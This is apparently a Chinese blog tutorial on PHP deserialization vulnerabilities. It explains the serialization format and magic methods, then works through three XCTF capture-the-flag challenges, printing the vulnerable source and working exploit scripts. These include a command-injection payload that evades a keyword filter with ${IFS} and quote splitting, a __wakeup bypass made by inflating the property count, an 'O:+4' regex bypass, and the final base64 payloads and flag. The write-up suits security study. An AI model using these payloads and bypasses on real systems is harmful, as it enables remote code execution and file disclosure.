php反序列化+题

含义:

php序列化(serialize):是将变量转换为可保存或传输的字符串的过程
php反序列化(unserialize):就是在适当的时候把这个字符串再转化成原来的变量使用
这两个过程结合起来,可以轻松地存储和传输数据,使程序更具维护性。
对象序列化成的字节序列会包含对象的类型信息、对象的数据等,说白了就是包含了描述这个对象的所有信息,能根据这些信息“复刻”出一个和原来一模一样的对象。
常见的php系列化和反系列化方式主要有:serialize,unserialize;json_encode,json_decode。

字符详解

O:6:"Person":3:{s:4:"name";s:3:"tom";  s:11:"Personage";  i:18;   s:6:"*sex"; s:3:"boy";}

O : 自定义对象 object
6  : 类名的长度
:3 : 3个成员属性
S:4 : 你的成员属性名  长度为4 ,并且是一个字符串   string
S:3 : 刚刚那个成员属性对应的值 是string类型,并且长度是3位
s:11:"Personage" : 因为该属性是私有属性,所以需要在属性名前加上类名,方便我们进行反序列化的时候的识别.
i:18 :  18是age的属性值 , i是代表  integer类型

s:6:"*sex";  sex这个属性是一个受保护的属性,特征就是 * 号

s:3:"boy : 代表 string类型,属性值长度为3位  boy对应是  sex的属性值

 魔术方法:

魔术方法是一种特殊的方法,当对对象执行某些操作时会覆盖 PHP 的默认操作。PHP中把以两个下划线__开头的方法称为魔术方法(Magic methods)

PHP 保留所有以 __ 开头的方法名称。 因此,除非覆盖 PHP 的行为,否则不建议使用此类方法名称。在面向对象编程中,PHP提供了一系列的魔术方法,这些魔术方法为编程提供了很多便利。并且不需要显示的调用而是由某种特定的条件出发。

构造函数和析构函数

构造函数和析构函数分别在对象创建和销毁时被调用。对象被“销毁”是指不存在任何对该对象的引用,比如引用该对象的变量被删除(unset)、重新赋值或脚本执行结束,都会调用析构函数。

 常用魔术方法

__construct: 在创建对象时候初始化对象,一般用于对变量赋初值。
__destruct: 和构造函数相反,当对象所在函数调用完毕后执行。
__toString:当对象被当做一个字符串使用时调用。
__sleep:序列化对象之前就调用此方法(其返回需要一个数组)
__wakeup:反序列化恢复对象之前调用该方法
__call:当调用对象中不存在的方法会自动调用该方法。
__get:在调用私有属性的时候会自动执行
__isset()在不可访问的属性上调用isset()或empty()触发
__unset()在不可访问的属性上使用unset()时触发

serialize() 函数会检查类中是否存在一个魔术方法。如果存在,该方法会先被调用,然后才执行序列化操作。

从序列化到反序列化这几个函数的执行过程是:

__construct() ->__sleep() -> __wakeup() -> __toString() -> __destruct()

__toString()这个魔术方法触发的因素

1.  echo($obj)/print($obj)打印时会触发
2.  反序列化对象与字符串连接时
3.  反序列化对象参与格式化字符串时
4.  反序列化对象与字符串进行==比较时(PHP进行==比较的时候会转换参数类型)
5.  反序列化对象参与格式化SQL语句,绑定参数时
6.  反序列化对象在经过php字符串处理函数,如strlen()、strops()、strcmp()、addslashes()等
7.  在in_array()方法中,第一个参数时反序列化对象,第二个参数的数组中有__toString()返回的字符串的时候__toString()会被调用
8.  反序列化的对象作为class_exists()的参数的时候

魔术方法在反序列化攻击中的作用 

反序列化的入口在unserialize(),只要参数可控并且这个类在当前作用域存在,就能传入任何已经序列化的对象,而不是局限于出现unserialize()函数的类的对象。

如果只能局限于当前类,那攻击面就太小了,而且反序列化其他类对象只能控制属性,如果没有完成反序列化后的代码中调用其他类对象的方法,还是无法利用漏洞进行攻击。

但是,利用魔术方法就可以扩大攻击面,魔术方法是在该类序列化或者反序列化的同时自动完成的,这样就可以利用反序列化中的对象属性来操控一些能利用的函数,达到攻击的目的。

在反序列化过程中,其功能就类似于创建了一个新的对象(复原一个对象可能更恰当),并赋予其相应的属性值。如果让攻击者操纵任意反序列数据, 那么攻击者就可以实现任意类对象的创建,如果一些类存在一些自动触发的方法(魔术方法),那么就有可能以此为跳板进而攻击系统应用。

php序列化和反序列化

下面来详细介绍一下php序列化和反序列化

 Python序列化与反序列化详解(包括json和json模块详解)-CSDN博客

PHP序列化

有时需要把一个对象在网络上传输,为了方便传输,可以把整个对象转化为二进制串,等到达另一端时,再还原为原来的对象,这个过程称之为串行化(也叫序列化)。

json数据使用 , 分隔开,数据内使用 : 分隔键和值

json数据其实就是个数组,这样做的目的也是为了方便在前后端传输数据,后端接受到json数据,可以通过json_decode()得到原数据,
这种将原本的数据通过某种手段进行"压缩",并且按照一定的格式存储的过程就可以称之为序列化。

有两种情况必须把对象序列化:
把一个对象在网络中传输
把对象写入文件或数据库
 

PHP序列化:把对象转化为二进制的字符串,使用serialize()函数
PHP反序列化:把对象转化的二进制字符串再转化为对象,使用unserialize()函数 

PHP为何要序列化和反序列化

PHP的序列化与反序列化其实是为了解决一个问题:PHP对象传递问题

PHP对象是存放在内存的堆空间段上的,PHP文件在执行结束的时候会将对象销毁。

如果刚好要用到销毁的对象,难道还要再写一遍代码?所以为了解决这个问题就有了PHP的序列化和反序列化

从上文可以发现,我们可以把一个实例化的对象长久的存储在计算机磁盘上,需要调用的时候只需反序列化出来即可使用。

挖掘反序列化漏洞的条件是:

1.代码中有可利用的类,并且类中有__wakeup(),__sleep(),__destruct()这类特殊条件下可以自己调用的魔术方法。
2. unserialize()函数的参数可控。

攻防世界:

unseping

下面看题来熟悉一下:
源码

<?php
highlight_file(__FILE__);//(语法高亮)

class ease{//类定义
    
    private $method;//私有变量
    private $args;
    function __construct($method, $args) {//__construct() 函数创建一个新的 SimpleXMLElement 对象。(“SimpleXMLElement是在PHP中处理XML文档的一个类)method和args是两个参数
        $this->method = $method;
        $this->args = $args;//构造函数接受两个参数 $method 和 $args,并将它们分别赋值给类的成员(私有)变量 $method 和 $args
    }//初始化,在创建类的实例时,可以通过传递参数来初始化对象的属性。
 
    function __destruct(){//析构函数 __destruct 则是在对象被销毁之前自动调用的方法
        if (in_array($this->method, array("ping"))) { //检查成员变量 $method 的值是否在数组 array("ping") 中,如果是的话,就调用对象自身的方法 $this->method(简单来说就是判断method是不是等于ping)
            call_user_func_array(array($this, $this->method), $this->args);//动态地调用对象的方法,并将 $this->args 数组作为参数传递给该方法。
        }
    } //在对象销毁时,如果 $method 的值是 "ping",则调用对象自身的 "ping" 方法,并将 $args 数组作为参数传递给该方法。
 
    function ping($ip){//执行ping命令(函数ping)
        exec($ip, $result);
        var_dump($result);
    }//ping 函数的作用是执行系统命令 exec($ip, $result),其中 $ip 是传递给 ping 命令的参数。exec 函数执行系统命令,并将结果存储在变量 $result 中。然后,使用 var_dump($result) 打印 $result 的内容,以便查看命令执行的结果

    function waf($str){//函数waf
        if (!preg_match_all("/(\||&|;| |\/|cat|flag|tac|php|ls)/", $str, $pat_array)) {
            return $str;
        } else {
            echo "don't hack";
        }
    }//waf 函数是一个简单的 Web 应用防火墙(Web Application Firewall)函数。它使用正则表达式来检测 $str 是否包含特定的敏感词汇,如 |、&、;、/、cat、flag、tac、php、ls 等。如果 $str 中存在这些敏感词汇,则输出 "don't hack",表示不允许执行该操作。否则,返回原始的 $str 值
 
    function __wakeup(){
        foreach($this->args as $k => $v) {
            $this->args[$k] = $this->waf($v);
        }
    }   
}//__wakeup 是 PHP 中的一个魔术方法(magic method),用于在反序列化对象时进行特定操作。在这段代码中,__wakeup 方法被定义在一个类中,但是代码片段中省略了类的定义部分。 __wakeup方法的作用是对对象进行反序列化后的恢复操作。在这段代码中,它遍历对象的成员变量$this->args,对每个成员变量的值使用 waf方法进行敏感词过滤,并将过滤后的值重新赋值给$this->args[$k]`。(简单来说:如果 PHP 对象中存在名为 __wakeup 的方法,就调用该方法对对象进行恢复操作,即对成员变量 $this->args 进行敏感词过滤。)


$ctf=@$_POST['ctf'];//这行代码将 $_POST 数组中名为 'ctf' 的元素的值赋给了变量 $ctf。@ 符号用于抑制可能的错误提示。
@unserialize(base64_decode($ctf));//这行代码使用 base64_decode 函数对变量 $ctf 的值进行解码,并使用 unserialize 函数将解码后的结果反序列化为对象。unserialize 函数用于将之前通过 serialize 函数序列化的对象转换回原始的 PHP 对象。(简单来说:对变量 $ctf 的值进行解码和反序列化,恢复为原始的 PHP 对象。)
?>

通过分析上面的代码我们可以得出,我们只要控制ctf这个参数的输入的值,就可以达成命令执行的效果,但是上面的代码,我们需要两个参数ping和后面命令执行的值,我们首先就得看看当前目录下都有些什么东西。同时我们需要考虑ls字符被过滤了,那么我们需要进行绕过,那我们就可以写出如下的PHP语句进行,ctf值的输出

<?php
 
class ease{
private $method;
private $args;
function __construct($method, $args) {
    $this->method = $method;
    $this->args = $args;
}
 
}
$a = new ease("ping",array('c""at${IFS}f""lag_1s_here$(printf${IFS}"\57")f""lag_831b69012c67b35f.p""hp'));
$b = serialize($a);
echo $b;
echo'</br>';
echo base64_encode($b);
?>

 

<?php
 
class ease{
private $method;
private $args;
function __construct($method, $args) {
    $this->method = $method;
    $this->args = $args;
}//定义了一个名为 ease 的类。该类具有私有成员变量 $method 和 $args,以及一个构造函数 __construct。构造函数接受两个参数 $method 和 $args,并将它们分别赋值给类的成员变量
 
}
$a = new ease("ping",array('l""s'));//创建了一个类的实例 $a,通过传递参数 "ping" 和数组 array('l""s') 给构造函数来初始化实例。
$b = serialize($a);//使用 serialize 函数对实例 $a 进行序列化,将其转换为一个字符串表示
echo $b;

echo'</br>';//使用 echo 语句输出序列化后的字符串 $b,并在其后添加一个换行符 <br>。
echo base64_encode($b);//使用 base64_encode 函数对序列化后的字符串 $b 进行 Base64 编码,将其转换为另一个字符串表示,并使用 echo 语句输出。

?>

 运行结果:

 找到了flag文件 再在原来的基础上把命令改一下就可以了

想要执行cat flag_1s_here/flag_831b69012c67b35f.php来查看flag,cat,flag,php都可以用双引号绕过,空格用${IFS}绕过,/要用printf及$()绕过。

令$arg=c""at${IFS}(printf${IFS}"\57")f""lag_831b69012c67b35f.p""hp。

 

unserialize3 

东西很少,

看源码:

class xctf{
public $flag = '111';//类中定义了一个公共成员变量 $flag,其值为字符串 '111'。这个变量可以在类的实例中被访问和修改
public function __wakeup(){
exit('bad requests');//类中定义了一个特殊方法 __wakeup()。__wakeup() 方法在 PHP 的反序列化过程中被调用。在这段代码中,__wakeup() 方法被重写,当进行反序列化时,会触发该方法。在方法内部,使用 exit() 函数输出字符串 'bad requests',并终止程序的执行。
}
?code=//给出的 URL 参数 ?code=

代码中的__wakeup()方法如果使用就是和unserialize()反序列化函数结合使用的,这里没有序列化字符串,何来反序列化呢?于是,我们这里实例化xctf类并对其使用序列化(这里就实例化xctf类为对象peak)

<?php
class xctf{                      //定义一个名为xctf的类
public $flag = '111';            //定义一个公有的类属性$flag,值为111
public function __wakeup(){      //定义一个公有的类方法__wakeup(),输出bad requests后退出当前脚本
exit('bad requests');
}
}
$peak = new xctf();           //使用new运算符来实例化该类(xctf)的对象为peak
echo(serialize($peak));       //输出被序列化的对象(peak)
?>

得到了一个序列化:O:4:"xctf":1:{s:4:"flag";s:3:"111";}

//xctf类后面有一个1,整个1表示的是xctf类中只有1个属性
__wakeup()漏洞就是与序列化字符串的整个属性个数有关。当序列化字符串所表示的对象,
其序列化字符串中属性个数大于真实属性个数时就会跳过__wakeup的执行,从而造成__wakeup()漏洞 

所以我们构造的payload只需要把xctf后边的1改成2

O:4:"xctf":2:{s:4:"flag";s:3:"111";} 在利用参数进行访问就可以了

 cyberpeace{b071fb46dca53c8e64462e9cfd16ebed}

Web_php_unserialize 

<?php
class Demo { //类定义
    private $file = 'index.php';//私有变量
    public function __construct($file) { //__construct() 函数创建一个新的 SimpleXMLElement 对象
        $this->file = $file;
    }//初始化,在创建类的实例时,可以通过传递参数来初始化对象的属性
    function __destruct() { //析构函数 __destruct 则是在对象被销毁之前自动调用的方法
        echo @highlight_file($this->file, true); //highlight_file() 函数以代码高亮的形式输出 $file 文件的内容
    }
    function __wakeup() {
        if ($this->file != 'index.php') {
            //the secret is in the fl4g.php
            $this->file = 'index.php';
        } //反序列化魔术方法 __wakeup() 在反序列化对象时被调用。在这段代码中,如果 $file 不等于 'index.php',则将其重置为 'index.php'(秘密藏在fl4g.php里面)
    }
}
if (isset($_GET['var'])) { //在主代码块中,首先检查是否存在 $_GET['var'] 参数。
    $var = base64_decode($_GET['var']); //$_GET['var'] 参数,则对其进行 Base64 解码,并将结果赋值给变量 $var
    if (preg_match('/[oc]:\d+:/i', $var)) {
        die('stop hacking!'); //使用正则表达式匹配检查 $var 是否包含类似 o:数字: 的序列化字符串。如果匹配成功,说明 $var 可能被恶意篡改,代码执行会被终止,并输出提示信息
    } else {
        @unserialize($var); //$var 没有匹配到恶意序列化字符串,则使用 @unserialize() 函数对 $var 进行反序列化操作
    }
} else {
    highlight_file("index.php"); //如果不存在 $_GET['var'] 参数,则使用 highlight_file() 函数以代码高亮的形式输出当前文件 index.php 的内容
}
?>

通过源代码可以看出来,想得到flag要绕过3个

1.绕过__wakeup   2.绕过正则表达式   3.base64加密

1.绕过:
__wakeup()函数漏洞就是与对象的属性个数有关,如果序列化后的字符串中表示属性个数的数字与真实属性个数一致,那么i就调用__wakeup()函数,如果该数字大于真实属性个数,就会绕过__wakeup()函数。

2.(preg_match(’/[oc]:\d+:/i’, $var))
而正则匹配的规则是: 在不区分大小写的情况下 , 若字符串出现 “o:数字” 或者 "c:数字’ 这样的格式 , 那么就被过滤 .很明显 , 因为 serialize() 的参数为 object ,因此参数类型肯定为对象 " O " , 又因为序列化字符串的格式为 参数格式:参数名长度 , 因此 " O:4 " 这样的字符串肯定无法通过正则匹配
绕过
而O:+4没被过滤说明绕过了过滤而且最后的值不变。
3.直接base64加密就可以

<?php
class Demo {
    private $file = 'index.php';
    public function __construct($file) {
        $this->file = $file;
    }
    function __destruct() {
        echo @highlight_file($this->file, true);
    }
    function __wakeup() {
        if ($this->file != 'index.php') {
            //the secret is in the fl4g.php
            $this->file = 'index.php';
        }
    }
}
$A = new Demo ('fl4g.php');                    //创建对象
$C = serialize($A);                     //对对象A进行序列化
$C = str_replace('O:4','O:+4',$C);      //绕过正则表达式过滤
$C = str_replace(':1:',':2:',$C);         //wakeup绕过
var_dump($C);
var_dump(base64_encode($C));            //base64加密

?>

TzorNDoiRGVtbyI6Mjp7czoxMDoiAERlbW8AZmlsZSI7czo4OiJmbDRnLnBocCI7fQ== 

绕过的详细过程:

利用反列化函数,得增加以下代码,$a = new Demo('fl4g.php');

先利用在线工些代码,对其进行反序列化

<?php
class Demo {
    private $file = 'fl4g.php';
}
$a = serialize(new Demo);
var_dump($a);
?> 

 

得到:O:4:"Demo":1:{s:10:"Demofile";s:8:"fl4g.php";}

__wakeup绕过:

"Demo":1 改成 "Demo":2

正则绕过:

O:4 改成:O:+4

所以写成:O:+4:"Demo":2:{s:10:"Demofile";s:8:"fl4g.php";}(这里只做示范,要用在线php里边的序列化才可以)

在对其进行base64编码:TzorNDoiRGVtbyI6Mjp7czoxMDoiAERlbW8AZmlsZSI7czo4OiJmbDRnLnBocCI7fQ==

得到base64编码 在传个参就可以了

/?var=TzorNDoiRGVtbyI6Mjp7czoxMDoiAERlbW8AZmlsZSI7czo4OiJmbDRnLnBocCI7fQ==

得到了flag

 

  • 0
    点赞
  • 3
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值